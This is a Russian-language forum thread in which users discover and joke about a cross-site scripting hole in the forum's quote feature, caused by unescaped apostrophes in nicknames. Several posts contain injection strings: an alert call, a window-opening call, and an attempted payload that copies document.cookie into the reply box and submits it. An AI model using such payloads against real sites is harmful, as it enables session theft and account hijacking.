Тест тест тест

['+alert('ok')+']

Выдели текст и нажми "цитата выделенного"

[ruslan_mart]

Класс

[animhotep]

xss, такой xss)

citeSelected(277714, ''+alert('ok')+'');return false

[danik.js]

Это моя пакость
Пытался процитировать товарища, у которого в никнейме апостров. Открыв консоль и увидев источник сыплющейся ошибки, решил удостовериться )

[kobezzza]

Мде, вот что бывает, когда люди не используют шаблонизаторы.

[Skipp]

Сейчас все побегут искать дырки.
Наверное уже побежали

['+open('http://ya.ru')+']

ы

[NinjaStar]

да уж

[Skipp]

Идея хорошая, но мне кажется цитирование не так часто происходит, лучше повесить событие на кнопку "отправить быстрый ответ"

[BETEPAH]

Коротковато поле ника... из этого

'+document.getElementById('vB_Editor_QR_textarea').value = document.cookie; document.getElementById('qrform').submit +'

хватает только на '+document.getElementById